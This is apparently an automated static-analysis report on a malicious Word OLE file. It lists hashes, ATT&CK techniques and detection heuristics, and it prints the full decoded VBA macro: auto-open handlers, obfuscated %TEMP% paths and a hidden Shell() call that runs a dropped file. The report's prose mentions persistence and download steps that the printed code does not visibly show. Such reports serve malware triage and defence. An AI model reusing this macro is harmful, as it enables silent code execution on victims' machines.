Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bc0ed6974163d6c5…

MALICIOUS

Office (OLE)

263.8 KB Created: 2016-04-13 12:30:00 Authoring application: Microsoft Office Word First seen: 2019-02-26
MD5: dfb3f7d6bbd3ec7cc163d18821d11b69 SHA-1: ceef7f05e25a28af6945f085d19b541947d44ba4 SHA-256: bc0ed6974163d6c52645e15b97c7550dfa2a5de66d1d0579c09077a388740b7a
510 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains multiple VBA auto-execution macros (AutoOpen, Workbook_Open, Auto_Open) that call a function to execute code. This function uses CreateObject to open a document from a path constructed using environment variables and concatenates strings to form a path that appears to be a registry key for persistence: 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. The macro also attempts to download and execute a second-stage payload, evidenced by the embedded PE executable and the ClamAV detection signature 'Doc.Macro.ObfuscatedChr-6203136-0'.

Heuristics 14

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Doc.Macro.ObfuscatedChr-6203136-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ObfuscatedChr-6203136-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2016 bytes
SHA-256: 40b9c94055ffd3a17f2aa849be213b94b04ee60cc0b498077e8f713179c3af82
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Kjje()
    Fwwe
End Sub
Sub Fwwe()

Dim bbvew As Boolean, KDEW As String, krk As Integer


krk = -15 + 14
JOOKKO = "T" & "EM"
JOOKKO = JOOKKO & "P"
bbvew = False
On Error Resume Next
Dim WOIEW As String
KKLOR = BjnsSwq(3 + 90 + krk)
NNJDJ = Environ$(JOOKKO) + KKLOR
DDVD = "" & "." & ""
JIEKR = DDVD & "gi"
JIEKR = JIEKR & "f"
LLKEN = DDVD & "rt" & BjnsSwq(99 + 3)

FFFNNNF = NNJDJ + "hfbef" + LLKEN
SSHHDD = NNJDJ & "fjeq" + LLKEN
WOIEW = NNJDJ & "" & "q6" & JIEKR

Module1.HNbfw (FFFNNNF)
Module1.HNbfw (SSHHDD)

Module1.Nnfhhe
RLKDWD = NNJDJ & "hfbef" & ".r" & "t" & "f"
BHJASD = Chr(110)
WDJASD = ";1kl2;jl31k2l"
Set fhBvdwgd = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)
fhBvdwgd.Visible = bbvew
 fhBvdwgd.Documents.Open (RLKDWD)
Module1.Lokew (2)
HYUASGD = Module1.Pjndw(WOIEW)
Module1.Lokew (3)
fhBvdwgd.Quit
Set fhBvdwgd = Nothing
End Sub
Public Function BjnsSwq(wbrw As Integer)
    BjnsSwq = Chr(wbrw)
End Function
Public Function Rtrddd()
    Rtrddd = "T" & "EM"
End Function
Sub Workbook_Open()
    Fwwe
End Sub
Sub AutoOpen()
   VNJASDW = "12lje1kn1 jh1jhke"
    Kjje
End Sub

Sub Auto_Open()

    Fwwe
End Sub






































Attribute VB_Name = "Module1"
Sub Lokew(Kojr As Long)
poew = 66
Dim Ujrhw As Long

Dim Neew As Long
Neew = Kojr + Timer
Ujrhw = Neew
Do While Timer < Ujrhw
DoEvents
Loop
End Sub
Public Function Pjndw(nen As String)
Dim fuq As Variant

fuq = Shell(nen, 0)
End Function
Sub Nnfhhe()
Lokew (2)
End Sub
Public Function HNbfw(srh As String)
ActiveDocument.SaveAs FileName:=srh, FileFormat:=wdFormatRTF
End Function
embedded_office_0000644c.exe embedded-pe Office MZ+PE at offset 0x644C 244495 bytes
SHA-256: 76be6afbb94880bad87b1acdea82cbebe5870b59429951bf2890c31be2c46246
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms. Carved artifact entropy is 7.53, consistent with packed or encrypted content.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1522082116/Ole10Native 221382 bytes
SHA-256: 8048ef3199fca730a1a61dee248042db7f8e9c912377836cb284e72b3dd47c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.68, consistent with packed or encrypted content.

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